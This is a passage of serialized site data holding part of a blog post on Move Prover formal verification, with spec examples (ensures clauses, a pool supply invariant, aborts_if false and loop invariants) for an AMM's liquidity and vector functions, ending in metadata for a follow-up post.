add_liquidity",{"type":24,"tag":930,"props":11201,"children":11202},{"style":959},[11203],{"type":30,"value":1010},{"type":24,"tag":930,"props":11205,"children":11206},{"style":1023},[11207],{"type":30,"value":11110},{"type":24,"tag":930,"props":11209,"children":11210},{"style":959},[11211],{"type":30,"value":962},{"type":24,"tag":930,"props":11213,"children":11214},{"style":1023},[11215],{"type":30,"value":11127},{"type":24,"tag":930,"props":11217,"children":11218},{"style":959},[11219],{"type":30,"value":1278},{"type":24,"tag":930,"props":11221,"children":11222},{"class":932,"line":1057},[11223,11228,11232,11237],{"type":24,"tag":930,"props":11224,"children":11225},{"style":1002},[11226],{"type":30,"value":11227},"      remove_liquidity",{"type":24,"tag":930,"props":11229,"children":11230},{"style":959},[11231],{"type":30,"value":1010},{"type":24,"tag":930,"props":11233,"children":11234},{"style":1023},[11235],{"type":30,"value":11236},"share",{"type":24,"tag":930,"props":11238,"children":11239},{"style":959},[11240],{"type":30,"value":1054},{"type":24,"tag":930,"props":11242,"children":11243},{"class":932,"line":1066},[11244],{"type":24,"tag":930,"props":11245,"children":11246},{"style":959},[11247],{"type":30,"value":8984},{"type":24,"tag":930,"props":11249,"children":11250},{"class":932,"line":1075},[11251,11256,11260],{"type":24,"tag":930,"props":11252,"children":11253},{"style":1023},[11254],{"type":30,"value":11255},"  spec",{"type":24,"tag":930,"props":11257,"children":11258},{"style":1023},[11259],{"type":30,"value":11101},{"type":24,"tag":930,"props":11261,"children":11262},{"style":959},[11263],{"type":30,"value":981},{"type":24,"tag":930,"props":11265,"children":11266},{"class":932,"line":1122},[11267,11272,11277,11281,11285],{"type":24,"tag":930,"props":11268,"children":11269},{"style":1023},[11270],{"type":30,"value":11271},"      pragma",{"type":24,"tag":930,"props":11273,"children":11274},{"style":1023},[11275],{"type":30,"value":11276}," verify",{"type":24,"tag":930,"props":11278,"children":11279},{"style":1158},[11280],{"type":30,"value":1161},{"type":24,"tag":930,"props":11282,"children":11283},{"style":937},[11284],{"type":30,"value":1790},{"type":24,"tag":930,"props":11286,"children":11287},{"style":959},[11288],{"type":30,"value":5539},{"type":24,"tag":930,"props":11290,"children":11291},{"class":932,"line":1131},[11292,11297,11302,11307,11312],{"type":24,"tag":930,"props":11293,"children":11294},{"style":1023},[11295],{"type":30,"value":11296},"      ensures",{"type":24,"tag":930,"props":11298,"children":11299},{"style":1023},[11300],{"type":30,"value":11301}," result_1",{"type":24,"tag":930,"props":11303,"children":11304},{"style":1158},[11305],{"type":30,"value":11306}," \u003C=",{"type":24,"tag":930,"props":11308,"children":11309},{"style":1023},[11310],{"type":30,"value":11311}," coin1_in",{"type":24,"tag":930,"props":11313,"children":11314},{"style":959},[11315],{"type":30,"value":5539},{"type":24,"tag":930,"props":11317,"children":11318},{"class":932,"line":1144},[11319,11323,11328,11332,11337],{"type":24,"tag":930,"props":11320,"children":11321},{"style":1023},[11322],{"type":30,"value":11296},{"type":24,"tag":930,"props":11324,"children":11325},{"style":1023},[11326],{"type":30,"value":11327}," result_2",{"type":24,"tag":930,"props":11329,"children":11330},{"style":1158},[11331],{"type":30,"value":11306},{"type":24,"tag":930,"props":11333,"children":11334},{"style":1023},[11335],{"type":30,"value":11336}," coin2_in",{"type":24,"tag":930,"props":11338,"children":11339},{"style":959},[11340],{"type":30,"value":5539},{"type":24,"tag":930,"props":11342,"children":11343},{"class":932,"line":1169},[11344],{"type":24,"tag":930,"props":11345,"children":11346},{"style":959},[11347],{"type":30,"value":8984},{"type":24,"tag":33,"props":11349,"children":11350},{},[11351],{"type":30,"value":11352},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":24,"tag":33,"props":11354,"children":11355},{},[11356,11358,11363],{"type":30,"value":11357},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":24,"tag":6032,"props":11359,"children":11360},{},[11361],{"type":30,"value":11362},"lot",{"type":30,"value":11364}," easier to reason about the protocol.",{"type":24,"tag":33,"props":11366,"children":11367},{},[11368],{"type":30,"value":11369},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":24,"tag":920,"props":11371,"children":11373},{"className":6102,"code":11372,"language":6101,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[11374],{"type":24,"tag":156,"props":11375,"children":11376},{"__ignoreMap":7},[11377,11394,11417],{"type":24,"tag":930,"props":11378,"children":11379},{"class":932,"line":933},[11380,11385,11390],{"type":24,"tag":930,"props":11381,"children":11382},{"style":1023},[11383],{"type":30,"value":11384},"spec",{"type":24,"tag":930,"props":11386,"children":11387},{"style":943},[11388],{"type":30,"value":11389}," PoolState",{"type":24,"tag":930,"props":11391,"children":11392},{"style":959},[11393],{"type":30,"value":981},{"type":24,"tag":930,"props":11395,"children":11396},{"class":932,"line":984},[11397,11402,11407,11412],{"type":24,"tag":930,"props":11398,"children":11399},{"style":1023},[11400],{"type":30,"value":11401},"    invariant",{"type":24,"tag":930,"props":11403,"children":11404},{"style":1023},[11405],{"type":30,"value":11406}," supply",{"type":24,"tag":930,"props":11408,"children":11409},{"style":1158},[11410],{"type":30,"value":11411}," >=",{"type":24,"tag":930,"props":11413,"children":11414},{"style":959},[11415],{"type":30,"value":11416}," MINIMUM_LIQUIDITY;\n",{"type":24,"tag":930,"props":11418,"children":11419},{"class":932,"line":993},[11420],{"type":24,"tag":930,"props":11421,"children":11422},{"style":959},[11423],{"type":30,"value":2528},{"type":24,"tag":33,"props":11425,"children":11426},{},[11427,11429,11435,11437,11443],{"type":30,"value":11428},"Another useful pattern for the Move prover is ",{"type":24,"tag":156,"props":11430,"children":11432},{"className":11431},[],[11433],{"type":30,"value":11434},"aborts_if",{"type":30,"value":11436},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":24,"tag":156,"props":11438,"children":11440},{"className":11439},[],[11441],{"type":30,"value":11442},"aborts_if false",{"type":30,"value":436},{"type":24,"tag":33,"props":11445,"children":11446},{},[11447],{"type":30,"value":11448},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":24,"tag":920,"props":11450,"children":11452},{"className":6102,"code":11451,"language":6101,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[11453],{"type":24,"tag":156,"props":11454,"children":11455},{"__ignoreMap":7},[11456,11520,11562,11585,11630,11643,11655,11693,11716,11804,11812,11837,11845,11866,11886,11986,11994,12023,12031,12043,12067,12102,12109,12117,12124,12139,12155,12172,12216,12321],{"type":24,"tag":930,"props":11457,"children":11458},{"class":932,"line":933},[11459,11463,11468,11472,11477,11481,11486,11490,11494,11499,11503,11507,11511,11516],{"type":24,"tag":930,"props":11460,"children":11461},{"style":1023},[11462],{"type":30,"value":9681},{"type":24,"tag":930,"props":11464,"children":11465},{"style":1002},[11466],{"type":30,"value":11467}," multiply_vec_by_n_coins",{"type":24,"tag":930,"props":11469,"children":11470},{"style":959},[11471],{"type":30,"value":1010},{"type":24,"tag":930,"props":11473,"children":11474},{"style":1023},[11475],{"type":30,"value":11476},"input",{"type":24,"tag":930,"props":11478,"children":11479},{"style":1158},[11480],{"type":30,"value":476},{"type":24,"tag":930,"props":11482,"children":11483},{"style":1023},[11484],{"type":30,"value":11485}," vector",{"type":24,"tag":930,"props":11487,"children":11488},{"style":959},[11489],{"type":30,"value":1350},{"type":24,"tag":930,"props":11491,"children":11492},{"style":943},[11493],{"type":30,"value":11152},{"type":24,"tag":930,"props":11495,"children":11496},{"style":959},[11497],{"type":30,"value":11498},">)",{"type":24,"tag":930,"props":11500,"children":11501},{"style":1158},[11502],{"type":30,"value":476},{"type":24,"tag":930,"props":11504,"children":11505},{"style":1023},[11506],{"type":30,"value":11485},{"type":24,"tag":930,"props":11508,"children":11509},{"style":959},[11510],{"type":30,"value":1350},{"type":24,"tag":930,"props":11512,"children":11513},{"style":943},[11514],{"type":30,"value":11515},"u128",{"type":24,"tag":930,"props":11517,"children":11518},{"style":959},[11519],{"type":30,"value":10392},{"type":24,"tag":930,"props":11521,"children":11522},{"class":932,"line":984},[11523,11527,11532,11536,11540,11544,11549,11553,11557],{"type":24,"tag":930,"props":11524,"children":11525},{"style":937},[11526],{"type":30,"value":11185},{"type":24,"tag":930,"props":11528,"children":11529},{"style":1023},[11530],{"type":30,"value":11531}," amounts_times_coins",{"type":24,"tag":930,"props":11533,"children":11534},{"style":1158},[11535],{"type":30,"value":6137},{"type":24,"tag":930,"props":11537,"children":11538},{"style":959},[11539],{"type":30,"value":11485},{"type":24,"tag":930,"props":11541,"children":11542},{"style":1158},[11543],{"type":30,"value":6597},{"type":24,"tag":930,"props":11545,"children":11546},{"style":1023},[11547],{"type":30,"value":11548},"empty",{"type":24,"tag":930,"props":11550,"children":11551},{"style":959},[11552],{"type":30,"value":1350},{"type":24,"tag":930,"props":11554,"children":11555},{"style":943},[11556],{"type":30,"value":11515},{"type":24,"tag":930,"props":11558,"children":11559},{"style":959},[11560],{"type":30,"value":11561},">();\n",{"type":24,"tag":930,"props":11563,"children":11564},{"class":932,"line":993},[11565,11569,11573,11577,11581],{"type":24,"tag":930,"props":11566,"children":11567},{"style":937},[11568],{"type":30,"value":11185},{"type":24,"tag":930,"props":11570,"children":11571},{"style":1023},[11572],{"type":30,"value":6515},{"type":24,"tag":930,"props":11574,"children":11575},{"style":1158},[11576],{"type":30,"value":6137},{"type":24,"tag":930,"props":11578,"children":11579},{"style":1242},[11580],{"type":30,"value":1245},{"type":24,"tag":930,"props":11582,"children":11583},{"style":959},[11584],{"type":30,"value":5539},{"type":24,"tag":930,"props":11586,"children":11587},{"class":932,"line":1057},[11588,11592,11597,11601,11605,11609,11614,11618,11622,11626],{"type":24,"tag":930,"props":11589,"children":11590},{"style":937},[11591],{"type":30,"value":11185},{"type":24,"tag":930,"props":11593,"children":11594},{"style":1023},[11595],{"type":30,"value":11596}," n_coins",{"type":24,"tag":930,"props":11598,"children":11599},{"style":1158},[11600],{"type":30,"value":6137},{"type":24,"tag":930,"props":11602,"children":11603},{"style":959},[11604],{"type":30,"value":11485},{"type":24,"tag":930,"props":11606,"children":11607},{"style":1158},[11608],{"type":30,"value":6597},{"type":24,"tag":930,"props":11610,"children":11611},{"style":1002},[11612],{"type":30,"value":11613},"length",{"type":24,"tag":930,"props":11615,"children":11616},{"style":959},[11617],{"type":30,"value":1010},{"type":24,"tag":930,"props":11619,"children":11620},{"style":1158},[11621],{"type":30,"value":6230},{"type":24,"tag":930,"props":11623,"children":11624},{"style":1023},[11625],{"type":30,"value":11476},{"type":24,"tag":930,"props":11627,"children":11628},{"style":959},[11629],{"type":30,"value":1278},{"type":24,"tag":930,"props":11631,"children":11632},{"class":932,"line":1066},[11633,11638],{"type":24,"tag":930,"props":11634,"children":11635},{"style":1079},[11636],{"type":30,"value":11637},"      while",{"type":24,"tag":930,"props":11639,"children":11640},{"style":959},[11641],{"type":30,"value":11642}," ({\n",{"type":24,"tag":930,"props":11644,"children":11645},{"class":932,"line":1075},[11646,11651],{"type":24,"tag":930,"props":11647,"children":11648},{"style":1023},[11649],{"type":30,"value":11650},"          spec",{"type":24,"tag":930,"props":11652,"children":11653},{"style":959},[11654],{"type":30,"value":981},{"type":24,"tag":930,"props":11656,"children":11657},{"class":932,"line":1122},[11658,11663,11668,11672,11677,11681,11685,11689],{"type":24,"tag":930,"props":11659,"children":11660},{"style":1023},[11661],{"type":30,"value":11662},"              invariant",{"type":24,"tag":930,"props":11664,"children":11665},{"style":1002},[11666],{"type":30,"value":11667}," len",{"type":24,"tag":930,"props":11669,"children":11670},{"style":959},[11671],{"type":30,"value":1010},{"type":24,"tag":930,"props":11673,"children":11674},{"style":1023},[11675],{"type":30,"value":11676},"amounts_times_coins",{"type":24,"tag":930,"props":11678,"children":11679},{"style":959},[11680],{"type":30,"value":5579},{"type":24,"tag":930,"props":11682,"children":11683},{"style":1158},[11684],{"type":30,"value":1239},{"type":24,"tag":930,"props":11686,"children":11687},{"style":1023},[11688],{"type":30,"value":6515},{"type":24,"tag":930,"props":11690,"children":11691},{"style":959},[11692],{"type":30,"value":5539},{"type":24,"tag":930,"props":11694,"children":11695},{"class":932,"line":1131},[11696,11700,11704,11708,11712],{"type":24,"tag":930,"props":11697,"children":11698},{"style":1023},[11699],{"type":30,"value":11662},{"type":24,"tag":930,"props":11701,"children":11702},{"style":1023},[11703],{"type":30,"value":6515},{"type":24,"tag":930,"props":11705,"children":11706},{"style":1158},[11707],{"type":30,"value":11306},{"type":24,"tag":930,"props":11709,"children":11710},{"style":1023},[11711],{"type":30,"value":11596},{"type":24,"tag":930,"props":11713,"children":11714},{"style":959},[11715],{"type":30,"value":5539},{"type":24,"tag":930,"props":11717,"children":11718},{"class":932,"line":1144},[11719,11723,11728,11733,11737,11741,11745,11749,11753,11757,11761,11766,11771,11775,11780,11784,11788,11792,11796,11800],{"type":24,"tag":930,"props":11720,"children":11721},{"style":1023},[11722],{"type":30,"value":11662},{"type":24,"tag":930,"props":11724,"children":11725},{"style":1023},[11726],{"type":30,"value":11727}," forall",{"type":24,"tag":930,"props":11729,"children":11730},{"style":1023},[11731],{"type":30,"value":11732}," j",{"type":24,"tag":930,"props":11734,"children":11735},{"style":937},[11736],{"type":30,"value":6164},{"type":24,"tag":930,"props":11738,"children":11739},{"style":1242},[11740],{"type":30,"value":1245},{"type":24,"tag":930,"props":11742,"children":11743},{"style":1158},[11744],{"type":30,"value":6173},{"type":24,"tag":930,"props":11746,"children":11747},{"style":1023},[11748],{"type":30,"value":6854},{"type":24,"tag":930,"props":11750,"children":11751},{"style":1158},[11752],{"type":30,"value":476},{"type":24,"tag":930,"props":11754,"children":11755},{"style":1023},[11756],{"type":30,"value":11531},{"type":24,"tag":930,"props":11758,"children":11759},{"style":959},[11760],{"type":30,"value":6849},{"type":24,"tag":930,"props":11762,"children":11763},{"style":1023},[11764],{"type":30,"value":11765},"j",{"type":24,"tag":930,"props":11767,"children":11768},{"style":959},[11769],{"type":30,"value":11770},"] ",{"type":24,"tag":930,"props":11772,"children":11773},{"style":1158},[11774],{"type":30,"value":1239},{"type":24,"tag":930,"props":11776,"children":11777},{"style":1023},[11778],{"type":30,"value":11779}," input",{"type":24,"tag":930,"props":11781,"children":11782},{"style":959},[11783],{"type":30,"value":6849},{"type":24,"tag":930,"props":11785,"children":11786},{"style":1023},[11787],{"type":30,"value":11765},{"type":24,"tag":930,"props":11789,"children":11790},{"style":959},[11791],{"type":30,"value":11770},{"type":24,"tag":930,"props":11793,"children":11794},{"style":1158},[11795],{"type":30,"value":1410},{"type":24,"tag":930,"props":11797,"children":11798},{"style":1023},[11799],{"type":30,"value":11596},{"type":24,"tag":930,"props":11801,"children":11802},{"style":959},[11803],{"type":30,"value":5539},{"type":24,"tag":930,"props":11805,"children":11806},{"class":932,"line":1169},[11807],{"type":24,"tag":930,"props":11808,"children":11809},{"style":959},[11810],{"type":30,"value":11811},"          };\n",{"type":24,"tag":930,"props":11813,"children":11814},{"class":932,"line":1191},[11815,11820,11824,11829,11833],{"type":24,"tag":930,"props":11816,"children":11817},{"style":959},[11818],{"type":30,"value":11819},"          (",{"type":24,"tag":930,"props":11821,"children":11822},{"style":1023},[11823],{"type":30,"value":6854},{"type":24,"tag":930,"props":11825,"children":11826},{"style":1158},[11827],{"type":30,"value":11828}," \u003C",{"type":24,"tag":930,"props":11830,"children":11831},{"style":1023},[11832],{"type":30,"value":11596},{"type":24,"tag":930,"props":11834,"children":11835},{"style":959},[11836],{"type":30,"value":1054},{"type":24,"tag":930,"props":11838,"children":11839},{"class":932,"line":1223},[11840],{"type":24,"tag":930,"props":11841,"children":11842},{"style":959},[11843],{"type":30,"value":11844},"      }) {\n",{"type":24,"tag":930,"props":11846,"children":11847},{"class":932,"line":1281},[11848,11853,11857,11862],{"type":24,"tag":930,"props":11849,"children":11850},{"style":959},[11851],{"type":30,"value":11852},"          vector",{"type":24,"tag":930,"props":11854,"children":11855},{"style":1158},[11856],{"type":30,"value":6597},{"type":24,"tag":930,"props":11858,"children":11859},{"style":1002},[11860],{"type":30,"value":11861},"push_back",{"type":24,"tag":930,"props":11863,"children":11864},{"style":959},[11865],{"type":30,"value":2814},{"type":24,"tag":930,"props":11867,"children":11868},{"class":932,"line":1313},[11869,11874,11878,11882],{"type":24,"tag":930,"props":11870,"children":11871},{"style":1158},[11872],{"type":30,"value":11873},"              &",{"type":24,"tag":930,"props":11875,"children":11876},{"style":937},[11877],{"type":30,"value":6839},{"type":24,"tag":930,"props":11879,"children":11880},{"style":1023},[11881],{"type":30,"value":11531},{"type":24,"tag":930,"props":11883,"children":11884},{"style":959},[11885],{"type":30,"value":2832},{"type":24,"tag":930,"props":11887,"children":11888},{"class":932,"line":1335},[11889,11894,11898,11903,11907,11912,11916,11920,11924,11929,11933,11938,11942,11947,11952,11957,11961,11965,11969,11974,11978,11982],{"type":24,"tag":930,"props":11890,"children":11891},{"style":959},[11892],{"type":30,"value":11893},"              (",{"type":24,"tag":930,"props":11895,"children":11896},{"style":1158},[11897],{"type":30,"value":1410},{"type":24,"tag":930,"props":11899,"children":11900},{"style":959},[11901],{"type":30,"value":11902},"vector",{"type":24,"tag":930,"props":11904,"children":11905},{"style":1158},[11906],{"type":30,"value":6597},{"type":24,"tag":930,"props":11908,"children":11909},{"style":1002},[11910],{"type":30,"value":11911},"borrow",{"type":24,"tag":930,"props":11913,"children":11914},{"style":959},[11915],{"type":30,"value":1010},{"type":24,"tag":930,"props":11917,"children":11918},{"style":1158},[11919],{"type":30,"value":6230},{"type":24,"tag":930,"props":11921,"children":11922},{"style":1023},[11923],{"type":30,"value":11476},{"type":24,"tag":930,"props":11925,"children":11926},{"style":959},[11927],{"type":30,"value":11928},", (",{"type":24,"tag":930,"props":11930,"children":11931},{"style":1023},[11932],{"type":30,"value":6854},{"type":24,"tag":930,"props":11934,"children":11935},{"style":937},[11936],{"type":30,"value":11937}," as",{"type":24,"tag":930,"props":11939,"children":11940},{"style":943},[11941],{"type":30,"value":8972},{"type":24,"tag":930,"props":11943,"children":11944},{"style":959},[11945],{"type":30,"value":11946},")) ",{"type":24,"tag":930,"props":11948,"children":11949},{"style":937},[11950],{"type":30,"value":11951},"as",{"type":24,"tag":930,"props":11953,"children":11954},{"style":943},[11955],{"type":30,"value":11956}," u128",{"type":24,"tag":930,"props":11958,"children":11959},{"style":959},[11960],{"type":30,"value":5579},{"type":24,"tag":930,"props":11962,"children":11963},{"style":1158},[11964],{"type":30,"value":1410},{"type":24,"tag":930,"props":11966,"children":11967},{"style":959},[11968],{"type":30,"value":1087},{"type":24,"tag":930,"props":11970,"children":11971},{"style":1023},[11972],{"type":30,"value":11973},"n_coins",{"type":24,"tag":930,"props":11975,"children":11976},{"style":937},[11977],{"type":30,"value":11937},{"type":24,"tag":930,"props":11979,"children":11980},{"style":943},[11981],{"type":30,"value":11956},{"type":24,"tag":930,"props":11983,"children":11984},{"style":959},[11985],{"type":30,"value":1054},{"type":24,"tag":930,"props":11987,"children":11988},{"class":932,"line":1376},[11989],{"type":24,"tag":930,"props":11990,"children":11991},{"style":959},[11992],{"type":30,"value":11993},"          );\n",{"type":24,"tag":930,"props":11995,"children":11996},{"class":932,"line":1418},[11997,12002,12006,12010,12015,12019],{"type":24,"tag":930,"props":11998,"children":11999},{"style":1023},[12000],{"type":30,"value":12001},"          i",{"type":24,"tag":930,"props":12003,"children":12004},{"style":1158},[12005],{"type":30,"value":6137},{"type":24,"tag":930,"props":12007,"children":12008},{"style":1023},[12009],{"type":30,"value":6515},{"type":24,"tag":930,"props":12011,"children":12012},{"style":1158},[12013],{"type":30,"value":12014}," +",{"type":24,"tag":930,"props":12016,"children":12017},{"style":1242},[12018],{"type":30,"value":7637},{"type":24,"tag":930,"props":12020,"children":12021},{"style":959},[12022],{"type":30,"value":5539},{"type":24,"tag":930,"props":12024,"children":12025},{"class":932,"line":1438},[12026],{"type":24,"tag":930,"props":12027,"children":12028},{"style":959},[12029],{"type":30,"value":12030},"      };\n",{"type":24,"tag":930,"props":12032,"children":12033},{"class":932,"line":1479},[12034,12039],{"type":24,"tag":930,"props":12035,"children":12036},{"style":1023},[12037],{"type":30,"value":12038},"      spec",{"type":24,"tag":930,"props":12040,"children":12041},{"style":959},[12042],{"type":30,"value":981},{"type":24,"tag":930,"props":12044,"children":12045},{"class":932,"line":1506},[12046,12051,12055,12059,12063],{"type":24,"tag":930,"props":12047,"children":12048},{"style":1023},[12049],{"type":30,"value":12050},"          assert",{"type":24,"tag":930,"props":12052,"children":12053},{"style":1023},[12054],{"type":30,"value":6515},{"type":24,"tag":930,"props":12056,"children":12057},{"style":1158},[12058],{"type":30,"value":6402},{"type":24,"tag":930,"props":12060,"children":12061},{"style":1023},[12062],{"type":30,"value":11596},{"type":24,"tag":930,"props":12064,"children":12065},{"style":959},[12066],{"type":30,"value":5539},{"type":24,"tag":930,"props":12068,"children":12069},{"class":932,"line":1525},[12070,12074,12078,12082,12086,12090,12094,12098],{"type":24,"tag":930,"props":12071,"children":12072},{"style":1023},[12073],{"type":30,"value":12050},{"type":24,"tag":930,"props":12075,"children":12076},{"style":1002},[12077],{"type":30,"value":11667},{"type":24,"tag":930,"props":12079,"children":12080},{"style":959},[12081],{"type":30,"value":1010},{"type":24,"tag":930,"props":12083,"children":12084},{"style":1023},[12085],{"type":30,"value":11476},{"type":24,"tag":930,"props":12087,"children":12088},{"style":959},[12089],{"type":30,"value":5579},{"type":24,"tag":930,"props":12091,"children":12092},{"style":1158},[12093],{"type":30,"value":1239},{"type":24,"tag":930,"props":12095,"children":12096},{"style":1023},[12097],{"type":30,"value":11596},{"type":24,"tag":930,"props":12099,"children":12100},{"style":959},[12101],{"type":30,"value":5539},{"type":24,"tag":930,"props":12103,"children":12104},{"class":932,"line":1569},[12105],{"type":24,"tag":930,"props":12106,"children":12107},{"style":959},[12108],{"type":30,"value":12030},{"type":24,"tag":930,"props":12110,"children":12111},{"class":932,"line":1592},[12112],{"type":24,"tag":930,"props":12113,"children":12114},{"style":1023},[12115],{"type":30,"value":12116},"      amounts_times_coins\n",{"type":24,"tag":930,"props":12118,"children":12119},{"class":932,"line":1610},[12120],{"type":24,"tag":930,"props":12121,"children":12122},{"style":959},[12123],{"type":30,"value":8984},{"type":24,"tag":930,"props":12125,"children":12126},{"class":932,"line":1628},[12127,12131,12135],{"type":24,"tag":930,"props":12128,"children":12129},{"style":1023},[12130],{"type":30,"value":11255},{"type":24,"tag":930,"props":12132,"children":12133},{"style":1023},[12134],{"type":30,"value":11467},{"type":24,"tag":930,"props":12136,"children":12137},{"style":959},[12138],{"type":30,"value":981},{"type":24,"tag":930,"props":12140,"children":12141},{"class":932,"line":1637},[12142,12146,12151],{"type":24,"tag":930,"props":12143,"children":12144},{"style":1023},[12145],{"type":30,"value":11271},{"type":24,"tag":930,"props":12147,"children":12148},{"style":1023},[12149],{"type":30,"value":12150}," opaque",{"type":24,"tag":930,"props":12152,"children":12153},{"style":959},[12154],{"type":30,"value":5539},{"type":24,"tag":930,"props":12156,"children":12157},{"class":932,"line":1646},[12158,12163,12168],{"type":24,"tag":930,"props":12159,"children":12160},{"style":1023},[12161],{"type":30,"value":12162},"      aborts_if",{"type":24,"tag":930,"props":12164,"children":12165},{"style":937},[12166],{"type":30,"value":12167}," false",{"type":24,"tag":930,"props":12169,"children":12170},{"style":959},[12171],{"type":30,"value":5539},{"type":24,"tag":930,"props":12173,"children":12174},{"class":932,"line":1673},[12175,12179,12183,12187,12192,12196,12200,12204,12208,12212],{"type":24,"tag":930,"props":12176,"children":12177},{"style":1023},[12178],{"type":30,"value":11296},{"type":24,"tag":930,"props":12180,"children":12181},{"style":1002},[12182],{"type":30,"value":11667},{"type":24,"tag":930,"props":12184,"children":12185},{"style":959},[12186],{"type":30,"value":1010},{"type":24,"tag":930,"props":12188,"children":12189},{"style":1023},[12190],{"type":30,"value":12191},"result",{"type":24,"tag":930,"props":12193,"children":12194},{"style":959},[12195],{"type":30,"value":5579},{"type":24,"tag":930,"props":12197,"children":12198},{"style":1158},[12199],{"type":30,"value":1239},{"type":24,"tag":930,"props":12201,"children":12202},{"style":1002},[12203],{"type":30,"value":11667},{"type":24,"tag":930,"props":12205,"children":12206},{"style":959},[12207],{"type":30,"value":1010},{"type":24,"tag":930,"props":12209,"children":12210},{"style":1023},[12211],{"type":30,"value":11476},{"type":24,"tag":930,"props":12213,"children":12214},{"style":959},[12215],{"type":30,"value":1278},{"type":24,"tag":930,"props":12217,"children":12218},{"class":932,"line":1692},[12219,12223,12227,12231,12235,12239,12243,12248,12252,12256,12260,12264,12269,12273,12277,12281,12285,12289,12293,12297,12301,12305,12309,12313,12317],{"type":24,"tag":930,"props":12220,"children":12221},{"style":1023},[12222],{"type":30,"value":11296},{"type":24,"tag":930,"props":12224,"children":12225},{"style":1023},[12226],{"type":30,"value":11727},{"type":24,"tag":930,"props":12228,"children":12229},{"style":1023},[12230],{"type":30,"value":11732},{"type":24,"tag":930,"props":12232,"children":12233},{"style":937},[12234],{"type":30,"value":6164},{"type":24,"tag":930,"props":12236,"children":12237},{"style":1242},[12238],{"type":30,"value":1245},{"type":24,"tag":930,"props":12240,"children":12241},{"style":1158},[12242],{"type":30,"value":6173},{"type":24,"tag":930,"props":12244,"children":12245},{"style":1002},[12246],{"type":30,"value":12247},"len",{"type":24,"tag":930,"props":12249,"children":12250},{"style":959},[12251],{"type":30,"value":1010},{"type":24,"tag":930,"props":12253,"children":12254},{"style":1023},[12255],{"type":30,"value":11476},{"type":24,"tag":930,"props":12257,"children":12258},{"style":959},[12259],{"type":30,"value":6249},{"type":24,"tag":930,"props":12261,"children":12262},{"style":1158},[12263],{"type":30,"value":476},{"type":24,"tag":930,"props":12265,"children":12266},{"style":1023},[12267],{"type":30,"value":12268}," result",{"type":24,"tag":930,"props":12270,"children":12271},{"style":959},[12272],{"type":30,"value":6849},{"type":24,"tag":930,"props":12274,"children":12275},{"style":1023},[12276],{"type":30,"value":11765},{"type":24,"tag":930,"props":12278,"children":12279},{"style":959},[12280],{"type":30,"value":11770},{"type":24,"tag":930,"props":12282,"children":12283},{"style":1158},[12284],{"type":30,"value":1239},{"type":24,"tag":930,"props":12286,"children":12287},{"style":1023},[12288],{"type":30,"value":11779},{"type":24,"tag":930,"props":12290,"children":12291},{"style":959},[12292],{"type":30,"value":6849},{"type":24,"tag":930,"props":12294,"children":12295},{"style":1023},[12296],{"type":30,"value":11765},{"type":24,"tag":930,"props":12298,"children":12299},{"style":959},[12300],{"type":30,"value":11770},{"type":24,"tag":930,"props":12302,"children":12303},{"style":1158},[12304],{"type":30,"value":1410},{"type":24,"tag":930,"props":12306,"children":12307},{"style":1002},[12308],{"type":30,"value":11667},{"type":24,"tag":930,"props":12310,"children":12311},{"style":959},[12312],{"type":30,"value":1010},{"type":24,"tag":930,"props":12314,"children":12315},{"style":1023},[12316],{"type":30,"value":11476},{"type":24,"tag":930,"props":12318,"children":12319},{"style":959},[12320],{"type":30,"value":1278},{"type":24,"tag":930,"props":12322,"children":12323},{"class":932,"line":1730},[12324],{"type":24,"tag":930,"props":12325,"children":12326},{"style":959},[12327],{"type":30,"value":8984},{"type":24,"tag":68,"props":12329,"children":12330},{"id":8423},[12331],{"type":30,"value":8426},{"type":24,"tag":33,"props":12333,"children":12334},{},[12335],{"type":30,"value":12336},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":24,"tag":33,"props":12338,"children":12339},{},[12340],{"type":30,"value":12341},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":24,"tag":33,"props":12343,"children":12344},{},[12345,12347,12354],{"type":30,"value":12346},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":37,"props":12348,"children":12351},{"href":12349,"rel":12350},"https://twitter.com/notdeghost/",[41],[12352],{"type":30,"value":12353},"@notdeghost",{"type":30,"value":436},{"type":24,"tag":5957,"props":12356,"children":12357},{},[12358],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":12360},[12361,12362,12363],{"id":8871,"depth":984,"text":8874},{"id":10906,"depth":984,"text":10909},{"id":8423,"depth":984,"text":8426},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":12368,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":12369,"description":12370,"author":8832,"image":12371,"date":12374,"isFeatured":16,"tags":12375,"onBlogPage":16,"body":12378,"_type":5983,"_id":16720,"_source":5985,"_file":16721,"_stem":16722,"_extension":5988},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and 